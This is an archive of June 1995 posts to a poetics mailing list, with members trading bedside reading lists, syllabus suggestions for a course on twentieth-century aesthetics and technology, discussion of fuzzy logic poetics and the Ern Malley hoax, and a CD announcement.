Bowering A Place to Die (a great spicer circle story opens this) Delilo Mao II Brautigan Willard and his Bowling Trophies (I was reading my brother's copy of The Alligator Report and wanted something in that ilk) M. Duras 2 by Duras (a wonderful wee treasure pblsht by the Coach House gooody basket) Philip K. Dick Puttering about in a Small Land (now, I'm not much of a sci fi fan, but George Stanley insisted I read this. In reture he would read Ethel Wilson's Swamp Angel. Apparently Puttering isn't as good as Scanner Darkly. Anyone read him before?)

Ryan

↑ Index

440. **Tony Green**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

---

suggestion, Burt, Johanna Drucker's Theorizing Modernism, sorry no detail on hand

↑ Index

441. **Shaunanne Tangney**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

---

a couple of things come to mind--ecclectic thinking but you could go a million ways w/ this as posts already illustrate.

Kern's _The Culture of Time and Space_
Clarke's _Rendevouz with Rama_
John Bradley, ed. _The Atomic Ghost_ (GREAT poetry anth)
Rand's _The Fountainhead_ (yeah, I know. . . but. . .)
DeLillo's _Ratner's Star_
Foster's _New York by Gaslight and Other Urban Sketches_

This sounds like an interesting course--good luck!
--ShaunAnne

↑ Index

442. **Tony Green**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

Blade Runner

↑ Index

443. **Carl Lynden Peters**
VP Mail List update
Wed 28 Jun 1995

---

just a brief note to let you know that the mail list for concrete/visual, sound and performance poetries is currently in process of being activated. --will keep you posted as developments occur. it should be ready any time now. much positive interest expressed for it which is great. some interesting mail-list title suggestions came in and took a brief survey with friends around the department today. it was either going to be _Calligrams_ (thanks! tony) or _wr-eye-tings_ (cris). the new title is: _WR-EYE-TINGS_ --congratulations cris!

↑ Index

444. **Jim Pangborn**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

What a territory to cover! I'm muy jealous.

Some things you might want to look at (a very incomplete list):

Marshall Berman, _All That Is Solid Melts Into Air_
Hugh Kenner, _The Mechanic Muse_
Daniel Czitrom, _Media and the American Mind_
McLuhan, _Understanding Media_ or one of the Fiore collaborations
Cecilia Tichey, _Changing Gears_
Heidegger, "The Q. Concerning T." (already suggested, here seconded
despite its big-time abstruseness)
Benjamin, "On Some Motifs in Baudelaire"
Sigfried Giedion, _Mechanization Takes Command_
Peter Jukes, _A Shout in the Street_
Jackson Lears, _No Place of Grace_
Marjorie Perloff, _The Futurist Moment_
Friedrich Kittler, _Discourse Networks_

Have fun!

--Jim

> *I will be teaching a course in spring 96 called twentieth century aesthetics and technology.*
>
> *any suggestions?*
>
> *Burt Kimmelman*
> [redacted]

↑ Index

445. **maria damon**
Re: tech and aesthetics / how to teach?
Wed 28 Jun 1995

---

pangborn writes:
>
>
> Some things you might want to look at (a very incomplete list):
>
> Marshall Berman, _All That Is Solid Melts Into Air_
> Hugh Kenner, _The Mechanic Muse_
> Daniel Czitrom, _Media and the American Mind_
> McLuhan, _Understanding Media_ or one of the Fiore collaborations
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> despite its big-time abstruseness)
> Benjamin, "On Some Motifs in Baudelaire"
> Sigfried Giedion, _Mechanization Takes Command_
> Peter Jukes, _A Shout in the Street_
> Jackson Lears, _No Place of Grace_
> Marjorie Perloff, _The Futurist Moment_
> Friedrich Kittler, _Discourse Networks_
>
> Have fun!
>
> --Jim
>
>how cd i forget, the futurist manifesto, or -i if there are more than one.
also, avital ronell's the telephone book, though it's a real trip! maybe just a coupla excerpts.--md

↑ Index

446. **Steve Carll**
Re: Fuzzy Logic Poetics
Wed 28 Jun 1995

Ryan:

> *what's the relationship btwn rhyme and reason? Serendipity and causality?*

Like most thingks that seem to oppose one another, they spend a lot of time becoming one another, blending and blurring boundaries between. Rhyme makes notions reasonable; reason gets broken down and sneaked into rhyme. Causality is a kind of serendipity (you know, it's the kind of serendipity that has a cause), which then lends itself to other branches of other causal chains without ever being quite incorporated within them.

Steve

↑ Index

447. **Charles Alexander**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

>> I will be teaching a course in spring 96 called twentieth century aesthetics
>> and technology.
>>
>> any suggestions?
>

>you've probably already got this one, but heidegger's the question of
>technology. and benjamin's the work of art in the age of mechanical
>reproduction.--what's on yr syallabus so far?--md
>>
Yes, that's great. But why not also throw in Hitchhiker's Guide to the Galaxy as well as works by Jackson Mac Low. And perhaps, in considering the alphabet as a technology, Johanna Drucker's Visible Word. I'd also love to know what you end up with.

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

448. **Mark Roberts**

AWOL: Hazel Smith - Poet Without Language

Thu 29 Jun 1995

****
AUSTRALIAN WRITING ONLINE is a small press distribution service and writers' resource service designed to help Australian writers, magazines, journals and publishers to reach a wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists.

AWOL also posts a monthly Happenings list. This is a guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL on email [redacted] (this is a temporary address for the first three week sof July) or write to AWOL, PO Box 333, Concord NSW 2137, Australia.

AWOL postings are also available by snail mail - please contact us for details.

AWOL will have its own address by the end of July. To contact us please use [redacted] - however, it may take sometime to respond to your post.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au /danny/books/index.html then click on Australian Writing OnLine.
****

Hazel Smith with austraLYSIS: Poet Without Language: Poems, Performance Texts and Text-sound works (Compact Disc: Rufus Records).

"...complex verbal rhythms (are) a very exciting extension ..(of) the way rap uses the syllable as a percussive unit" Gail Brennan Sydney Morning Herald

"convincing proof of the arrival for good of the female poetic voice"Joy Wallace Pages UK

"the impressive title-track...familiar reading styles and predictable voice inflections are disrupted by multi-tracking...the voice becomes a truly flexible instrument"John Jenkins Overland

Poet Without Language is a CD of poetry, text-sound and performance works by Hazel Smith. Three of the works,Poet Without Language, Caged John Uncaged and Silent Waves were written in combination with musician Roger Dean.They are performed by Smith with Roger Dean and Sandy Evans, members of the contemporary music group austraLYSIS.

In the poems experimentation with language is to the fore and Smith, who now refers to her work as "feminist performance linguistics", demonstrates her central concern with forging a new language, one relevant to her particular position as a woman, musician and poet.

The performance texts and text-sound pieces take this quest for a new language further through an exploration of the interface between language and music. This involves the application of musical techniques, such as rhythmic notation, to language, and the use of technologies such as sampling and multi-trackling, so that language is dislocated and re-synthesised into complex semantic and sound structures.

Hazel Smith lived in England until she moved to Australia in 1989. Her volume Threely was published by the Spectacular Diseases Imprint in England 1986, and her volume Abstractly Represented: Poems and Performance Texts 1982-90 was published by Butterfly Books in 1991. Some of her work was included in the 1991 anthology Floating Capital: New Poets From London, Potes and Poets Press, U.S.A. A 1994 issue of the U.K. poetry journal Pages is devoted to her work.

Hazel has given performances in many countries including Australia, Great Britain, USA, Belgium and New Zealand, and also on the ABC, BBC and US radio. Her collaborations with Roger Dean, have been broadcast extensively, and their piece Poet without Language was nominated by the ABC for the Prix Italia in 1993.

Hazel is a lecturer in the School of English at the University of New South Wales. She is also an internationally active violinist and leader of the contemporary music group austraLYSIS.

_____cut here_____

ORDER FORM

HAZEL SMITH
POET WITHOUT LANGUAGE
Compact disc RF005
$27.00 (Australian) including post and packaging

Available from:

Rufus Records
PO Box 116 Paddington 2021 Australia.
Telephone: international + 61 2 [redacted].
Fax: International + [redacted].

Number of copies:..... ($27.00 Aust. each)

Payment enclosed: $.....

Send to:

Name:.....

.....

Postal address: .....

.....

Your Email address .....

For further information contact Hazel Smith at [redacted] (Note Hazel will not be checking her mail until 10 July).

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449. **Ryan Knighton**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

I suppose, when I asked this, these were the issues I was thinking about. It seems that rhyme and reason, in my mind, demonstrate and acot out of the paradox you find in "cleave". Causality and serendipity, as Steve nicely states it, do tend to bleed into and out of one another, which raises in my mind difficult narrative issues. I think it was Hume who argued along these lines, positing that the eight ball sinks by virtue of perfect coincidence, autonomous. Any hand is as likely as a royal flush. I'm not sure hou to handle this in the narrative I want to spin, but it seems, at one angle, that all of these matters result from desire; a desire for pattern which mean by both predictability (Zola or James) and, on the other side, astonishing improbability (aleatoric or OUlipean).

Steve wrote:
>
> Ryan:
>
> >what's the relationship btwn rhyme and reason? Serendipity and causality?
>
> Like most thingks that seem to oppose one another, they spend a lot of time
> becoming one another, blending and blurring boundaries between. Rhyme makes
> notions reasonable; reason gets broken down and sneaked into rhyme.
> Causality is a kind of serendipity (you know, it's the kind of serendipity
> that has a cause), which then lends itself to other branches of other causal
> chains without ever being quite incorporated within them.
>
> Steve
>

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450. Chris Stroffolino
Re: bedside reading
Thu 29 Jun 1995

---

marisa---i just read your note (there are 44 others for me--ugh--and non of them are by you) and thank you for being sympathetic again-- (none of them--not non--belated typo recognition--aren't they all?) and it was good talking earlier and then I sat down with O'Hara (and Lansing--who I'm suppossed to review for Foster--is sooooo stiff by comparison--but then so am i too much)---"sat down with O'hara"-- what a weird phrase---anyway he wrote--"You enable me, by your least remark, to unclutter myself, and my neerves thank you for not always laughing" Which made me think of a feeling towards you (nerves)-- A feeling towards something between us that is neither you nor I And that doesn't at all seem accurate but vague and the urge to "express the unexpressable" is not perhaps the quickness that makes one want to blow the lid off self-consciousness (so-called "spontaneous" torrents recollected tranquilly) and ask you if you're still looking for "questions for kenneth" (a quiz-show)-- did you (or jordan) ask him whether he thinks he might have had a any influence on O'Hara's work--and if so, where? Many people seem to make their relationship into a one way street--but that can't be true, can it? ----I hope you read this before you go (so you can have it in your head to keep you company on the plane....) Love, chris

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451. Ryan Knighton
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

As Tony, I say Blade runner loud.
Star wars to boot--both dark and epic.

I think Oliver Wendel Holmes wrote about the camera and argued that the image would move beyond record into reality. I read it a while back. Can't recall the title. George Mead and the Chicago School of communication theorists.

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452. Brian W Horihan
bedreading
Thu 29 Jun 1995

hello everyone, i've been sort of evesdropping for a while, getting my bearings, and, since this bedside reading list is fun and inviting, i thought i'd go and venture a post. so, though i feel rather young and unqualified, here's mine:

PRISON NOTEBOOKS, A Gramsci
WHAT IS CINEMA? V.1, Andre Bazin
UNDERGROUND CINEMA, Parker Tyler
SONNETS and MEMORIES, Bernadette Mayer (thanx for these md, enjoying and trying to get through them)
MIRACLE OF THE ROSE (again), J Genet
APPARATUS, ed. Theresa Hak Kyung Cha
TEARS OF EROS, G Bataille
Various things on ancient Greece for summer class

i think i'll have to look at that MS FOUND AT SARAGOSSA people have been mentioning. and a film w/ music by penderecki, wow

goodnight,
brian

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453. Ron Silliman
Re: bedside reading
Thu 29 Jun 1995

My two cents (heavily restricted of late due to moving--I still have 20+ cartons of books, mostly fiction & poetry, boxed in the attic waiting for the arrival of $1000 in bookcases I bought on Monday):

Snow Crash by Neil Stephanson (very good, but not as good as the blurbs on the jacket make out)
Heat, by Stuart Woods (his worst--I may never read another...)
Pronto, by Elmore Leonard (he's become very gentle and humorous since he stopped drinking)
Sessions, by Eli Goldblatt (Chax Press! Some wonderful pieces here that reminds me a lot of my own impulses in the poem "Hidden"--I haven't met Eli yet, but since we now live in the same area, I'm looking forward to it)
Culture on the Brink: Ideologies of Technology, edited by Gretchen Bender & Timothy Drucker (lots of "celebrity" critics--Aronowitz, Laurie Anderson, Andrew Ross, Paula Treichler, Kathleen Woodward, Langdon Winner--mostly showing how little knowledge of technology they really have)
CIO magazine
Service News
Information Week--the best technology mag around
PC Week
Been waiting for my sub to The Nation to catch up w/ me on this coast....

Ron Silliman
[redacted]

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454. Ron Silliman
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

I totally agree w/ Walter Benjamin and w/ Marshall Berman.

I would also include Society of the Spectacle by Guy DeBord, Writing Degree Zero by Roland Barthes, What is Literature? by Sartre, recent writing (about PCs and poetry) by Charles Bernstein, Mayakovsky's How are Verses Made, Williams Spring & All, Perelman's The Trouble with Genius, Fred Jameson on Late Capital

As for Blade Runner (a great movie I've seen 5 or 6 times), I'd use it only if/as I used Do Androids Dream of Electric Sheep? by Philip K. Dick. (Also Dr. Bloodmoney, The Man in the High Castle). Good point for talking about essentialism in forms...

Gravity's Rainbow by Pynchon, Dhalgren by SR Delaney, Geek Love, work by Cage and Duchamp

Ron Silliman

↑ Index

455. **Pierre Joris**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

Also the superb (& unhappily much neglected) collection of essays on "guns and men in the West; the car as an image of escape, in film, literature and everyday life; fears of invasion from underground or outer space; the interaction of culture and technology in US history -- via American fiction and pulp novels, B-movies and art films, rock lyrics and poetry" by Eric Mottram, called BLOOD ON THE NASH AMBASSADOR (Hutchinson Radius)

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

↑ Index

456. **Jordan Davis.**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

Burt You might for argument's sake teach some letterpress books from Toothpaste or Burning Deck or Tuumba, or even something mimeoed, as a way to talk about slippage, or restricted access, or receding possibilities. "A Funny Place" by I think Richard Snow about the history of Coney Island from Adventures in Poetry might be suitably perverse about this (and the "period" quality all technological advances keep latent until they're renovated--viz letterpress, mimeo, super-8, pixelvision). Jordan

↑ Index

457. **Hank Lazer**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

---

perhaps consider the movie _Koyaanisqatsi-?

Hank Lazer

↑ Index

458. **Burt Kimmelman**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

Ed,

Interesting thought about the 18th century and 20 C tech. How so?

↑ Index

459. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

---

yes, rhyme in its original and largest sense means agreement. is reason then based on agreement?

↑ Index

460. **Burt Kimmelman**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

To Everyone Who Has Sent Me A List For My Tech/Aesth Course:

Thank you so very much for your time, energy and most of all information (data?).

The two winners far and away were Heidegger and Benjamin--both of whom I feel have been built upon eloquently by more recent others but still worth the read--though H's two essays, "Building Dwelling Thinking" and "The Thing" are better as far as understanding tech from the philsoophical p of v.

I guess that I should--what the heck (gotta practice communicating over the transom in child-talk--thank you, mr. exon)--send my rather antiquated syllabus and will do so soon as I get a moment to upload.

Ryan:

Have you seen Alan Bullock's essay (in an anthology about Modernism) on the effect of photography on everything, ina way how it engendered Modernism?

Lastly, yes I know wht I just said about Heidegger's "Question" but I can't resist sharing with you this brief passage from the essay:

"Technology . . . is no mere means. Technology is a way of revealing. If we give heed to this, then another whole realm for the essence of technology will open itself up to us. It is the realm of revealing, i.e., of truth."

BK

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461. **David Kellogg**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

I'm still new to this list, still feeling my way. I didn't catch the original post on this subject, but Tony Green's intervention touched a few issues dear to me heart.

On Wed, 28 Jun 1995, Tony Green wrote:

> *I note that in this view, artworks are not consumable, because they are inexhaustible. It is not the case, we know, that a painting once seen by one person disappears from sight for evermore. We all know, too, that the answers proposed by one person to the questions it asks does not exhaust its possibilities. Artworks appear to lure one into understanding them, which can be a long and arduous process of discoveries about, for instance, society, self and about the mysterious workings of media. Recuperation and cooptation and consumerisation cannot entirely submerge these possibilities, even thouh they may reduce the social impact of radical novelty.*

True enough, but it seems to me that the same thing could be said about most meaningful events, given a context in which one is willing to call that event "art." To put it another way, the cultural framing of an event as artistic encourages the viewer/reader/consumer *not* to throw it away -- such frames say, *watch out, you haven't exhausted this yet* -- whereas other cultural and institutional frames do not. So that the question of its exhaustibility is not inherent in anything having to do with the work as such.

I'm sorry, I know the frame is an inadequate and overused metaphor. But you get the drift. (Tony Bennett (the critic, not the crooner) makes a related point in *Outside Literature*, only to say there ain't no outside). My aim is not to say that you *can* exhaust art, but rather to say that inexhaustibility is not *special* to art, even if it might be special (for historical reasons) to aesthetic contextualization.

Cheers,
David
~~~
~~~

Durham, NC 27708
[redacted] --Thomas Kinsella

↑ Index

462. **Issa Clubb**
Re: bedside reading
Thu 29 Jun 1995

Hi all. Well, seeing that another young lurker has come out of the shadows emboldens me to also appear. Besides, what better way to join a poetics list than to list what you read? Anyway, here goes:

Defoe, Leslie Scalapino
At Passages, Michael Palmer
Leviathan, Paul Auster
Resisting the Virtual Life (anth)
about to begin the Decameron

Also the discussion of fuzzy logic and/or poetics has been interesting; I'm just getting back into some work I did a couple of years ago, in college, about poetry as a nervous system, taking most of my source material from recent research into neural networks & optics & holography. I think it is spotty poetically, & the net.utopia undercurrent, which I was fairly unaware/uncritical of then, makes me blush now, but I'm still interested in the way scientists are forced to make use of metaphor to do their work. Then I like stealing the metaphors, phrases etc. & making poems out of them. i.e., "The hornlike structures are the last silhouette, the well-known shape of niches in the structure and operation of the nervous system. Human density contains specialized internal packing, and thus maximum surfaces, and thus, while other regions appar to have permeation channels, much of the water may be bound in a gel-like matrix..."

One thing I find interesting about contemporary science, related to poetics & art practice in general, is its recent (relative to the arts) discovery of the "process" as an organizing principle.

Issa Clubb

_____
Issa Clubb
[redacted]
Voyager Art Dept.
[redacted]

↑ Index

463. **maria damon**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

In message <[redacted]> UB Poetics discussion group writes:
> perhaps consider the movie _Koyaanisqatsi-?
>
> Hank Lazer

and apollinaire's zone? --md

↑ Index

464. **Jordan Davis.**
Malley Affair
Thu 29 Jun 1995

Dear Everybody,

Juliana Spahr suggested that we drop a line immediately upon reading something interesting.

The Ern Malley Affair by Michael Heyward, Faber & Faber, (London, Boston) 284 pp., $12.95 US, $19.99 Canada

in paper and available through Barnes & Noble (they have several copies at the Astor Place branch,) is notable for the clarity with which it deals with the complexities of taste, literary identity, and experimental writing. The book seems (from here) a subtle treatment of the literary scene in Australia in the 40s, particularly of the self-regard of Max Harris and the stance of his magazine, _Angry Penguins_, that so irritated James McAuley and Harold Stewart, two poets in an OSS-sounding organization called the Directorate of Research and Civil Affairs, that they manufactured, with the aid of a collected Shakespeare, the Concise Oxford Dictionary, a Dictionary of Quotations, and a US Army report on mosquito control, Ern Malley and his poems. In an afternoon. Ahem. Anti-hegemony and Edgar Allen (sic!) Poe take note:

Malley was born in an idle moment that afternoon in the spring of 1943. After lunch McAuley and Stewart had the place to them- selves: there were no urgent telegrams to deal with, no research jobs to finish on the double. Here was their chance to do something they'd fantasized about, take _Angry Penguins_ down a peg or two. Another issue was just out--they thought it reached new heights of pretension. They set to work improvising Ern Malley, their Primitive Penguin, writing his poems out on an army- issue, ruled quarto pad, tearing each page off as they filled it.

Heyward is not _totally_ convinced of the merit of the poems, which are collected in the book (as are Malley's Ernst-ish collages), but he does cite defenders of the work including Judith Wright, John Tranter, John Ashbery and Kenneth Koch. Some effects of the hoax were: to unbalance the equation of value between a work of poetry and the name on it; to suggest, very early on, the possibility that work generated by chance and mischief (and with deliberate disregard for taste) can be taken for beautiful and meaningful; and to turn public attention to poetry (albeit disastrously).

Anyway, just thought I'd mention it.

Love,
Jordan

PS

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465. **Tony Green**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

Thinking of David Kellogg' comments on institutional framing determining

that what it encloses determines how it is understood,

I wonder whether that framing isn't in fact based on such separations and distinctions as appear to be fuzzed in the discussion of fuzzy logic in poetics as opposed to unfuzzy logics supposedly outside poetics. If as I guess the things designated as artworks are mainly interesting to look at, hear, whatever, because of their enigmatic and inexhaustible possibilities, then I'd guess the institutional formations are useful and effective, in that respect.

That doesn't mean I hope that the actual choices of what is and what is not included as Art are already decided once and for all. On the contrary, the canon can and does shift, and the canon is the site of continual (art) politics. Arthur Danto's sense of something lost and gone forever cannot hold up the process and maintain the limits of art.

Yes, if you were to isolate (frame) any "event" (i.e.tell the story of it, photograph it, plan to have it occur, for instance,) -- there could well be someone sho will regard it as really interesting them, as enigma, paradox, etc etc, that is, use it as if it were an art work and want to designate it as such (for inclusion in the canon).

But the warning note sounded from the direction of an institutional theory about specifying what is and is not art, as I began to, with respect to fuzzy logic, is something that has stopped me in my tracks for a good half hour.

Cheers
at some point before Warhol's Brillo Box.

↑ Index

466. **Tony Green**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

---

the Brillo box at the end goes with the Arthur Danto sentence or sandwich, how scrambled did this get?

↑ Index

467. **Rod Smith**
fuzzy bookside bedding
Thu 29 Jun 1995

Hello poetics, Suppose it may have been noted, but Joe Ross has poems in _Avec_ & _Impercipient_ from something called "The Fuzzy Logic Series"-- he's referred to them as "Ashberyan" and they do seem so. Particularly compared to other of his work. Re my own bed: I'm taken at the moment by _Touch Monkeys: Nonsense Strategies for Reading Twentieth-Century Poetry_ by Marnie Parsons. U.Toronto Press overpriced hardcover. Interesting reading of Stein/Zukofsky/Language through Lewis Carroll, Edward Lear, etc. using Kristeva to very good end. Though she gets Cage wrong I think. But I would. Also the new Hobsbawm _Age of Extremes_ very excellent. Really wanted to like Deirdre Bair's _Anais Nin_ --more interested in Bair than Nin, i.e. why did she choose to write about her following Beckett & Beauvoir-- but it's fallen to the wayside. Also I have many copies of _Aerial 8: Barrett Watten_ beside my bed which I certainly recommend. $12.95 to Aerial/Edge, POBox 25642, WDC 20007. I'll be posting soon a longer description of that as well as backlist info. Lightning w/ logic: dogs bark at strangers. Not enough & too much? or Maybe you had too much too fast. Can the Fuzzy be more than metaphorical? as Chaos Theory was a hot metaphor in the arts a few years ago. Not to dismiss description but I want to see it happen. I mean, The sun _is_ one foot wide. How?

Rod
Rod

↑ Index

468. **Ryan Knighton**
Re: tech/aesth/photography
Thu 29 Jun 1995

Burt,
No, I haven't seen the essay you mentioned. Where does it appear?

I found where the Holmes schtuff is; I read about it in an essay by Stuart Ewen called "Goods and Surfaces". He also wrote another fine essay on media and aesthetics called "The Marriage Btwn Art and Culture". Both essays can be found in a book called _All Consuming Images_, Basic Books, 1988.

I would appreciate the details on the Modernism piece, if you have them.

Take care,
Ryan

↑ Index

469. **Ryan Knighton**
Re: Fuzzy Logic Poetics
Thu 29 Jun 1995

Tony and David, I'm really enjoying these posts on the subject of exhaustability and its orbiting issues. I suppose, at some level, this discussion is propelled by how art plays in a disposable culture. Will the image, as a technological output, or is the image already viewed as disposable, less resonant than the word. Rather than driven by the inertia of art, it appears that we are driven by its dissipation behind us: art fuelled like Wile E. Coyote--driven because the bridge is collapsing behind him, not because there is something on the other side.

Ryan

↑ Index

470. **Mark Roberts**
Re: Malley Affair
Thu 29 Jun 1995

> *Dear Everybody,*
>
> *Juliana Spahr suggested that we drop a line immediately upon reading something interesting.*
>
> *_The Ern Malley Affair_ by Michael Heyward, Faber & Faber, (London, Boston) 284 pp., $12.95 US, $19.99 Canada*
>
> *in paper and available through Barnes & Noble (they have several copies at*

> *the Astor Place branch,) is notable for the clarity with which it deals with the complexities of taste, literary identity, and experimental writing. The book seems (from here) a subtle treatment of the literary scene in Australia in the 40s, particularly of the self-regard of Max Harris and the stance of his magazine, _Angry Penguins_, that so irritated James McAuley and Harold Stewart, two poets in an OSS-sounding organization called the Directorate of Research and Civil Affairs, that they manufactured, with the aid of a collected Shakespeare, the Concise Oxford Dictionary, a Dictionary of Quotations, and a US Army report on mosquito control, Ern Malley and his poems. In an afternoon. Ahem. Anti-hegemony and Edgar Allen (sic!) Poe take note:*
>
> *Malley was born in an idle moment that afternoon in the spring of 1943. After lunch McAuley and Stewart had the place to themselves: there were no urgent telegrams to deal with, no research jobs to finish on the double. Here was their chance to do something they'd fantasized about, take _Angry Penguins_ down a peg or two. Another issue was just out--they thought it reached new heights of pretension. They set to work improvising Ern Malley, their Primitive Penguin, writing his poems out on an army-issue, ruled quarto pad, tearing each page off as they filled it.*
>
> *Heyward is not _totally_ convinced of the merit of the poems, which are collected in the book (as are Malley's Ernst-ish collages), but he does cite defenders of the work including Judith Wright, John Tranter, John Ashbery and Kenneth Koch. Some effects of the hoax were: to unbalance the equation of value between a work of poetry and the name on it; to suggest, very early on, the possibility that work generated by chance and mischief (and with deliberate disregard for taste) can be taken for beautiful and meaningful; and to turn public attention to poetry (albeit disastrously).*
>
> *Anyway, just thought I'd mention it.*
>
> *Love,*
> *Jordan*
>
> *PS*

The 'Ern Malley Affair' had a profound effect on poetry in Australia. It is possible to argue that it was one of the main reasons why modernism virtually bypassed Australian poetry until the late sixities. It took a younger group of poets - John Tranter's so-called Generation of 68 - to storm the journals and over turn the applecart in the late sixities.

Mark

↑ Index

471. **Burt Kimmelman**

READINGS FOR COURSE IN AESTHETICS AND TECHNOLOGY

Thu 29 Jun 1995

From: TESLA::KIMMELMAN 29-JUN-1995 20:31:36.96
To: ADMIN::KIMMELMAN
CC:
Subj: aesthetics and technology

To All Tech-Aesthetes:

Here as promised is a list, one which I myself have added to though this is not reflected here, which I threw together a couple of years ago when I was first proposing my 20th century Tech and Aesthetics course for college juniors and seniors:

Auster, Paul, City of Glass.

Barrett, Edward. The Society of Text: Hypertext, Hypermedia, and the Social Construction of Information.

Benjamin, Walter. "Art in the Age of Mechanical Reproduction."

Bolter, J. David. Writing Space: The Computer, Hypertext, and the History of Writing.

Bullock, Alan. "The Double Image."

Carson, Rachel. Silent Spring.

Derrida, Jacques, Paraesthetics.

____, The Truth in Painting.

Ferguson, Eugene S. Engineering and the Mind's Eye.

Goldberger, Paul. The Skyscraper.

Hacker, Andrew. Two Nations: Black and White.

Hans, James, The Forms of Attention.

____, The Play of the World.

Hardison, O. B. Disappearing through the Skylight. New York: Viking.

Hindle, Brooke. Emulation and Invention.

Heidegger, Martin., Poetry, Language, Thought.

____. The Question Concerning Technology and Other Essays.

Huizinga, Johann. Homo Ludens.

Johnson, Philip and Mark Wigley. Deconstructivist Architecture.

Keller, Evelyn Fox. Secrets of Life, Secrets of Death: Essays on Gender, Language and Science.

Kraus, Rosalind E., The Optical Unconscious.

Landow, George P. Hypertext: The Convergence of Contemporary Critical Theory and Technology.

Malloy, Judy. Its Name Was Penelope.

Marx, Leo. The Machine in the Garden: Technology and Pastoral Ideal in America.

Miller, Carolyn. "Technology as a Form of Consciousness."

Ong, Walter J. Orality and Literacy.

Orwell, George. 1984.

Perloff, Marjorie. The Futurist Moment.

Rothenberg, David. Hand's End.

Snyder, Gary. Good, Wild, Sacred.

Steinman, Lisa M., Made in America: Science, Technology, and American Modernist Poets.

Segal, Howard P. Technological Utopianism in American Culture.

Slatin, John. "Reading Hypertext: Order and Coherence in a New Medium."

Winner, Langdon. The Whale and the Reactor.

↑ Index

472. **Burt Kimmelman**

Re: Fuzzy Logic Poetics

Thu 29 Jun 1995

Re.: David Kellogg's reply viz Tony Green: "Paging Chrysto!"

↑ Index

473. **Burt Kimmelman**

Re: bedside reading

Thu 29 Jun 1995

Issa,

Have you seen Ark by Ronald Johnson?

↑ Index

474. **Burt Kimmelman**
Re: tech/aesth/photography
Thu 29 Jun 1995

Ryan,

I think it's a paperback published at least 10 years ago called Essays on Modernism, but I wouldn't swear to this. Let me hunt around and get back to you.

Burt

↑ Index

475. **Burt Kimmelman**
Bullock Essay
Thu 29 Jun 1995

Ryan,

the essay is called "The Double Image" by Alan Bullock. In a book called Modernism. Ed. by Malcolm Bradbury and James McFarlane. Penguin 1976 (but still worth the read).

Cheers,

Burt

↑ Index

476. **Charles Alexander**
Re: tech and aesthetics / how to teach?
Thu 29 Jun 1995

After reading the suggestions for this tech & aesthetics course below by Ron, and after thinking of my own suggestions and all that I can remember, I have to ask -- Have there been any suggestions of books by women other than Johanna Drucker? Wouldn't it be an exciting task to imagine and teach a course on twentieth century technology and aesthetics using only texts by women?

charles alexander

> *I would also include Society of the Spectacle by Guy DeBord, Writing Degree Zero by Roland Barthes, What is Literature? by Sartre, recent writing (about PCs and poetry) by Charles Bernstein, Mayakovsky's How are Verses Made, Williams Spring & All, Perelman's The Trouble with Genius, Fred Jameson on Late Capital*
>
> *As for Blade Runner (a great movie I've seen 5 or 6 times), I'd use it only if/as I used Do Androids Dream of Electric Sheep? by Philip K.*

> *Dick. (Also Dr. Bloodmoney, The Man in the High Castle). Good point for talking about essentialism in forms...*
>
> *Gravity's Rainbow by Pynchon, Dhalgren by SR Delaney, Geek Love, work by Cage and Duchamp*
>
> *Ron Silliman*

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

477. **Ryan Knighton**
Re: tech/aesth/photography
Fri 30 Jun 1995

Ammendment to the Stuart Ewen essay: it's "Teh Marriage Btwn Art and Commerce", not Culture.
sory
Rnya

lt of topsy twodae

↑ Index

478. **Ryan Knighton**
Re: Bullock Essay
Fri 30 Jun 1995

Thanx Burt.

↑ Index

479. **David Kellogg**
Re: Malley Affair
Fri 30 Jun 1995

I have wanted to read that book for a while. In a review I read somewhere, the reviewer noted, if I remember correctly, that John Ashbery apparently once used Malley in a final exam for a modern poetry course: the exam has two poems, one by "Malley" and one by Kreymborg or some other modernist they haven't read. Anyway, no information is included with the poems. The question

goes like this: one of these is a forgery/parody, one is by a "legitimate" modern poet. Which one? Write an essay defending your choice.

I have wanted to steal that question ever since.

Cheers,
David
~~~
~~~

481. **Issa Clubb**
Re: bedside reading
Fri 30 Jun 1995

> *Have you seen Ark by Ronald Johnson?*

no... do tell.

issa

_____
Issa Clubb
[redacted]
Voyager Art Dept.
[redacted]

↑ Index

482. **Edward Foster**
Re: Fuzzy Logic Poetics
Fri 30 Jun 1995

---

distinction between rhyme and reason is false; reason is subcategory of rhyme, as is, fer instance, set theory, capitalism. correspondence. conventional ding-ding-ding rhyme is/was to be metaphor for the rest in infinite webbed universe.

↑ Index

483. **Edward Foster**
Re: tech and aesthetics / how to teach?
Fri 30 Jun 1995

Burt (fellow tech prof): re: 18th/20th cent. parallel, we'd better get together for lunch on that one, has to do with current tech strains rooted in the enlightenment and amazing faith in binary thought--i.e., thinking only what's predicated. -ed

↑ Index

484. **Edward Foster**
Re: Fuzzy Logic Poetics
Fri 30 Jun 1995

---

